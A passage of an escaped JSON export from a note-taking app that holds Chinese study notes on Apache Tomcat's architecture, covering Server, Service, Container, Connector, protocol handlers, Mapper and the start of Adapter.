363,&#34;height&#34;:291},&#34;nodes&#34;:[],&#34;state&#34;:{&#34;renderSource&#34;:&#34;//note.youdao.com/yws/res/d/WEBRESOURCE74d403cf4e65a84b198b012846122d8d&#34;,&#34;initialSize&#34;:{&#34;width&#34;:363,&#34;height&#34;:292},&#34;loading&#34;:false}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;3V3S-1658112222053&#34;,&#34;name&#34;:&#34;heading&#34;,&#34;data&#34;:{&#34;level&#34;:&#34;h3&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;2aux-1658112222054&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;1.Server&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;bold&#34;},{&#34;type&#34;:&#34;fontSize&#34;,&#34;value&#34;:20}]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;5wGo-1658126404154&#34;,&#34;name&#34;:&#34;heading&#34;,&#34;data&#34;:{&#34;level&#34;:&#34;h4&#34;,&#34;style&#34;:{&#34;textIndent&#34;:28}},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;mSF1-1658126404152&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;定义：&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;bold&#34;},{&#34;type&#34;:&#34;fontSize&#34;,&#34;value&#34;:18}]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;DAxf-1658127619214&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;style&#34;:{&#34;textIndent&#34;:28}},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Oi7t-1658127619211&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;表示整个Servlet容器，整个Tomcat运行示例中仅有唯一一个Server实例。&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;A5xu-1658126404808&#34;,&#34;name&#34;:&#34;heading&#34;,&#34;data&#34;:{&#34;level&#34;:&#34;h3&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;QZ8m-1658126404807&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;2.Service：&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;bold&#34;},{&#34;type&#34;:&#34;fontSize&#34;,&#34;value&#34;:20}]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;d1jh-1658126363643&#34;,&#34;name&#34;:&#34;heading&#34;,&#34;data&#34;:{&#34;level&#34;:&#34;h4&#34;,&#34;style&#34;:{&#34;textIndent&#34;:28}},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;2222-1658126363642&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;定义:&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;bold&#34;},{&#34;type&#34;:&#34;fontSize&#34;,&#34;value&#34;:18}]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;SozY-1658127633553&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;style&#34;:{&#34;textIndent&#34;:28}},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;sBgX-1658127633551&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;Service表示一个或多个Connector的集合。&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;L4lJ-1658113134396&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;style&#34;:{&#34;textIndent&#34;:28}},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ZfP5-1658113134395&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;一个Server可以包含多个Service，每个Service用于维护其中多个Connector与一个Container，即来自多个Connector的请求只能由此Service所维护的Container处理。不同Service之间相互独立，仅共享一个JVM以及系统类库。&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;u9lQ-1658130621369&#34;,&#34;name&#34;:&#34;heading&#34;,&#34;data&#34;:{&#34;level&#34;:&#34;h3&#34;,&#34;style&#34;:{&#34;textIndent&#34;:0}},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;hV10-1658130621367&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;3.Container&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;bold&#34;},{&#34;type&#34;:&#34;fontSize&#34;,&#34;value&#34;:20}]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;uaFj-1658112580614&#34;,&#34;name&#34;:&#34;heading&#34;,&#34;data&#34;:{&#34;level&#34;:&#34;h3&#34;,&#34;style&#34;:{&#34;textIndent&#34;:28}},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;kgSD-1658112580613&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;定义：&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;bold&#34;},{&#34;type&#34;:&#34;fontSize&#34;,&#34;value&#34;:20}]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;BajU-1658130646155&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;style&#34;:{&#34;textIndent&#34;:28}},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;bBCh-1658130646156&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;Container表示能够执行客户端请求并返回响应的一类对象。&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;gczk-1658130701262&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;style&#34;:{&#34;textIndent&#34;:28}},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;BP6Q-1658130701260&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;在Tomcat中存在不同级别的Container容器：Engine、Host、Context、Wrapper。&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ZCKM-1658130727283&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;style&#34;:{&#34;textIndent&#34;:28}},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;E62m-1658130727281&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;是整个Tomcat的处理逻辑核心。&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;5z5Y-1658136136554&#34;,&#34;name&#34;:&#34;heading&#34;,&#34;data&#34;:{&#34;level&#34;:&#34;h4&#34;,&#34;style&#34;:{&#34;textIndent&#34;:28}},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;jN4C-1658136136552&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;结构图：&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;bold&#34;},{&#34;type&#34;:&#34;fontSize&#34;,&#34;value&#34;:18}]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;6UQ8-1658136140236&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;//note.youdao.com/yws/res/f/WEBRESOURCE2f6e4ac21f6701324b895b17071efe6f&#34;,&#34;width&#34;:282,&#34;height&#34;:166},&#34;nodes&#34;:[],&#34;state&#34;:{&#34;renderSource&#34;:&#34;//note.youdao.com/yws/res/f/WEBRESOURCE2f6e4ac21f6701324b895b17071efe6f&#34;,&#34;initialSize&#34;:{&#34;width&#34;:282,&#34;height&#34;:162},&#34;loading&#34;:false}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;c5Kq-1658136028922&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;style&#34;:{&#34;textIndent&#34;:28}},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;UTMk-1658136028920&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;此外，Tomcat的Container还有 一个很重要的功能，就是后台处理。在很多情况下，我们的&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ade4-1658136046838&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;l4wC-1658136046837&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;Container需要执行一些异步处理，而且是定期执行，如每隔30秒执行一次，Tomcat对于Web应用文件变更的扫描就是通过该机制实现的。&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;gnnL-1658136065439&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;style&#34;:{&#34;textIndent&#34;:28}},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;iiM3-1658136065437&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;Tomcat针对后台处理，在Container上定义了backgroundProcess()方法，并且其基础抽象类( ContainerBase )确保在启动组件的同时，异步启动后台处理。因此，在绝大多数情况下，各个容器组件仅需要实现Container的background-Process()方法即可，不必考虑创建异步线程。&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;jD3V-1658130639146&#34;,&#34;name&#34;:&#34;heading&#34;,&#34;data&#34;:{&#34;level&#34;:&#34;h3&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;mBxc-1658130639144&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;4.Connector：&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;bold&#34;},{&#34;type&#34;:&#34;fontSize&#34;,&#34;value&#34;:20}]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;WBT8-1658113477519&#34;,&#34;name&#34;:&#34;heading&#34;,&#34;data&#34;:{&#34;level&#34;:&#34;h4&#34;,&#34;style&#34;:{&#34;textIndent&#34;:28}},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;VZAL-1658113477517&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;定义：&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;bold&#34;},{&#34;type&#34;:&#34;fontSize&#34;,&#34;value&#34;:18}]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;78aG-1658127651811&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;style&#34;:{&#34;textIndent&#34;:28}},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;fQog-1658127651809&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;负责监听并处理Socket请求，根据不同的协议与I/O方法选择不同的实现逻辑并交给对应的Container处理。&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Ar4E-1658127199773&#34;,&#34;name&#34;:&#34;heading&#34;,&#34;data&#34;:{&#34;level&#34;:&#34;h4&#34;,&#34;style&#34;:{&#34;textIndent&#34;:28}},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;eL48-1658127199772&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;主要作用：&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;bold&#34;},{&#34;type&#34;:&#34;fontSize&#34;,&#34;value&#34;:18}]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;xRnc-1658127153493&#34;,&#34;name&#34;:&#34;list-item&#34;,&#34;data&#34;:{&#34;listId&#34;:&#34;YzHm-1658127172987&#34;,&#34;listType&#34;:&#34;unordered&#34;,&#34;listLevel&#34;:1,&#34;style&#34;:{&#34;textAlign&#34;:&#34;left&#34;,&#34;textIndent&#34;:0}},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;tAQA-1658127153491&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;监听服务器端口，读取来自客户端的请求。&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{&#34;index&#34;:1}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;LcuG-1658127161771&#34;,&#34;name&#34;:&#34;list-item&#34;,&#34;data&#34;:{&#34;listId&#34;:&#34;YzHm-1658127172987&#34;,&#34;listType&#34;:&#34;unordered&#34;,&#34;listLevel&#34;:1,&#34;style&#34;:{&#34;textAlign&#34;:&#34;left&#34;,&#34;textIndent&#34;:0}},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;8Nga-1658127161769&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;将请求数据按照指定协议进行解析。&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{&#34;index&#34;:2}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;0Ll1-1658127157078&#34;,&#34;name&#34;:&#34;list-item&#34;,&#34;data&#34;:{&#34;listId&#34;:&#34;YzHm-1658127172987&#34;,&#34;listType&#34;:&#34;unordered&#34;,&#34;listLevel&#34;:1,&#34;style&#34;:{&#34;textAlign&#34;:&#34;left&#34;,&#34;textIndent&#34;:0}},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;90JK-1658127157077&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;根据请求地址匹配正确的容器进行处理。&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{&#34;index&#34;:3}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;OM40-1658127163350&#34;,&#34;name&#34;:&#34;list-item&#34;,&#34;data&#34;:{&#34;listId&#34;:&#34;YzHm-1658127172987&#34;,&#34;listType&#34;:&#34;unordered&#34;,&#34;listLevel&#34;:1,&#34;style&#34;:{&#34;textAlign&#34;:&#34;left&#34;,&#34;textIndent&#34;:0}},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;DKaf-1658127163348&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;将响应返回客户端。&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{&#34;index&#34;:4}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;imdx-1658112537168&#34;,&#34;name&#34;:&#34;heading&#34;,&#34;data&#34;:{&#34;level&#34;:&#34;h4&#34;,&#34;style&#34;:{&#34;textIndent&#34;:28}},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;4Ql9-1658112537166&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;支持协议：&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;bold&#34;},{&#34;type&#34;:&#34;fontSize&#34;,&#34;value&#34;:18}]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;vrW2-1658127217213&#34;,&#34;name&#34;:&#34;list-item&#34;,&#34;data&#34;:{&#34;listId&#34;:&#34;U3vT-1658127312598&#34;,&#34;listType&#34;:&#34;unordered&#34;,&#34;listLevel&#34;:1,&#34;style&#34;:{&#34;textIndent&#34;:0}},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;5RPx-1658127217211&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;HTTP（默认）&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{&#34;index&#34;:1}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;rLzu-1658127235048&#34;,&#34;name&#34;:&#34;list-item&#34;,&#34;data&#34;:{&#34;listId&#34;:&#34;U3vT-1658127312598&#34;,&#34;listType&#34;:&#34;unordered&#34;,&#34;listLevel&#34;:1,&#34;style&#34;:{&#34;textIndent&#34;:0}},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;EgbT-1658127235046&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;AJP（默认）&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{&#34;index&#34;:2}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;i4Ui-1658127178611&#34;,&#34;name&#34;:&#34;list-item&#34;,&#34;data&#34;:{&#34;listId&#34;:&#34;U3vT-1658127312598&#34;,&#34;listType&#34;:&#34;unordered&#34;,&#34;listLevel&#34;:1,&#34;style&#34;:{&#34;textIndent&#34;:0}},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;tSt7-1658127178609&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;HTTP/2（Tomcat8之后）&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{&#34;index&#34;:3}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;IBgK-1658127277061&#34;,&#34;name&#34;:&#34;heading&#34;,&#34;data&#34;:{&#34;level&#34;:&#34;h4&#34;,&#34;style&#34;:{&#34;textIndent&#34;:28}},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Bocr-1658127277059&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;I/O协议：&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;bold&#34;},{&#34;type&#34;:&#34;fontSize&#34;,&#34;value&#34;:18}]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;oUFz-1658127321626&#34;,&#34;name&#34;:&#34;list-item&#34;,&#34;data&#34;:{&#34;listId&#34;:&#34;BPNb-1658127354458&#34;,&#34;listType&#34;:&#34;unordered&#34;,&#34;listLevel&#34;:1,&#34;style&#34;:{&#34;textIndent&#34;:0}},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;VcK1-1658127321625&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;BIO（Tomcat8.5之后移除）&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{&#34;index&#34;:1}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;yil2-1658127327968&#34;,&#34;name&#34;:&#34;list-item&#34;,&#34;data&#34;:{&#34;listId&#34;:&#34;BPNb-1658127354458&#34;,&#34;listType&#34;:&#34;unordered&#34;,&#34;listLevel&#34;:1,&#34;style&#34;:{&#34;textIndent&#34;:0}},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;1EGv-1658127327967&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;NIO&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{&#34;index&#34;:2}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;fnpk-1658127331953&#34;,&#34;name&#34;:&#34;list-item&#34;,&#34;data&#34;:{&#34;listId&#34;:&#34;BPNb-1658127354458&#34;,&#34;listType&#34;:&#34;unordered&#34;,&#34;listLevel&#34;:1,&#34;style&#34;:{&#34;textIndent&#34;:0}},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;T4Tp-1658127331951&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;APR&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{&#34;index&#34;:3}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;P4KV-1658127335729&#34;,&#34;name&#34;:&#34;list-item&#34;,&#34;data&#34;:{&#34;listId&#34;:&#34;BPNb-1658127354458&#34;,&#34;listType&#34;:&#34;unordered&#34;,&#34;listLevel&#34;:1,&#34;style&#34;:{&#34;textIndent&#34;:0}},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;al7v-1658127335728&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;NIO2（Tomcat8之后）&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{&#34;index&#34;:4}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;L5Mj-1658127314828&#34;,&#34;name&#34;:&#34;heading&#34;,&#34;data&#34;:{&#34;level&#34;:&#34;h4&#34;,&#34;style&#34;:{&#34;textIndent&#34;:28}},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;2OF9-1658127314826&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;结构图：&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;bold&#34;},{&#34;type&#34;:&#34;fontSize&#34;,&#34;value&#34;:18}]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;7vl8-1658127426585&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;//note.youdao.com/yws/res/e/WEBRESOURCE3c2c691f6e48d42d3deeb0a07301013e&#34;,&#34;width&#34;:319,&#34;height&#34;:144},&#34;nodes&#34;:[],&#34;state&#34;:{&#34;renderSource&#34;:&#34;//note.youdao.com/yws/res/e/WEBRESOURCE3c2c691f6e48d42d3deeb0a07301013e&#34;,&#34;initialSize&#34;:{&#34;width&#34;:319,&#34;height&#34;:154},&#34;loading&#34;:false}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;48l8-1658127406688&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;style&#34;:{&#34;textIndent&#34;:28}},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;kypk-1658127406675&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;ProtocolHandler：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;i7w5-1658127710677&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;style&#34;:{&#34;textIndent&#34;:28}},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;LYnI-1658127710674&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;协议处理器，针对不同的协议类型与I/O方法提供不同实现。&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;2PKJ-1658127790270&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;style&#34;:{&#34;textIndent&#34;:28}},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;pgwh-1658127790256&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;其中，Endpoint用于启动Socket监听，并调用对应的Processor处理；Processor则为具体的处理逻辑实现。&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;V7cX-1658129220990&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;DfkZ-1658129220987&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;5.Mapper和MapperListener&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;bold&#34;},{&#34;type&#34;:&#34;fontSize&#34;,&#34;value&#34;:20}]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;MXaG-1658129601115&#34;,&#34;name&#34;:&#34;heading&#34;,&#34;data&#34;:{&#34;level&#34;:&#34;h4&#34;,&#34;style&#34;:{&#34;textIndent&#34;:28}},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ykrA-1658129601113&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;定义：&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;bold&#34;},{&#34;type&#34;:&#34;fontSize&#34;,&#34;value&#34;:18}]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;rpCk-1658129441444&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;style&#34;:{&#34;textIndent&#34;:28}},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;izwG-1658129441445&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;Mapper用于维护容器映射信息，同时按照映射规则（Servlet规范定义）查找容器。&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;5Q8T-1658129474253&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;style&#34;:{&#34;textIndent&#34;:28}},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Oyrs-1658129474251&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;MapperListener实现了ContainerListener和LifecycleListener， 用于在容器组件状态发生变更时，注册或者取消对应的容器映射信息。&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;FerG-1658129484380&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;style&#34;:{&#34;textIndent&#34;:28}},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;HyfZ-1658129484378&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;为了实现上述功能，MapperListener实现了Lifecycle接口，当其启动时（在Service启动时启动），会自动作为监听器注 册到各个容器组件上，同时将已创建的容器注册到Mapper。&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;CKA0-1658129526851&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;style&#34;:{&#34;textIndent&#34;:28}},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ugCT-1658129526849&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;设计逻辑：&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;bold&#34;},{&#34;type&#34;:&#34;fontSize&#34;,&#34;value&#34;:18}]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Lnud-1658129532757&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;style&#34;:{&#34;textIndent&#34;:28}},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;x2bE-1658129532755&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;当Processor读取客户端请求后，需要按照请求地址映射到具体的容器进行处理，这个过程即为请求映射。由于Tomcat各个组件采用通用的生命周期管理，而且可以通过管理工具进行状态变更，因此请求映射除考虑映射规则的实现外，还要考虑容器组件的注册与销毁。&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;tfRq-1658127542007&#34;,&#34;name&#34;:&#34;heading&#34;,&#34;data&#34;:{&#34;level&#34;:&#34;h3&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;v960-1658127542005&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;6.Adapter：&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;bold&#34;},{&#34;type&#34;:&#34;fontSize&#34;,&#34;value&#34;:20}]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;trX1-1658129738418&#34;,&#34;name&#34;:&#34;heading&#34;,&#34;data&#34;:{&#34;level&#34;:&#34;h4&#34;,&#34;style&#34;:{&#34;textIndent&#34;:28}},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;xPli-1658129738415&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;定义：&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;bold&#34;},{&#34;type&#34;:&#34;fontSize&#34;,&#34;value&#34;:18}]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Vp08-1658129867129&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;style&#34;:{&#34;textIndent&#34;:28}},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;eROm-1658129867127&#34;,&#34;leaves&#34;:[{&#34;text&#3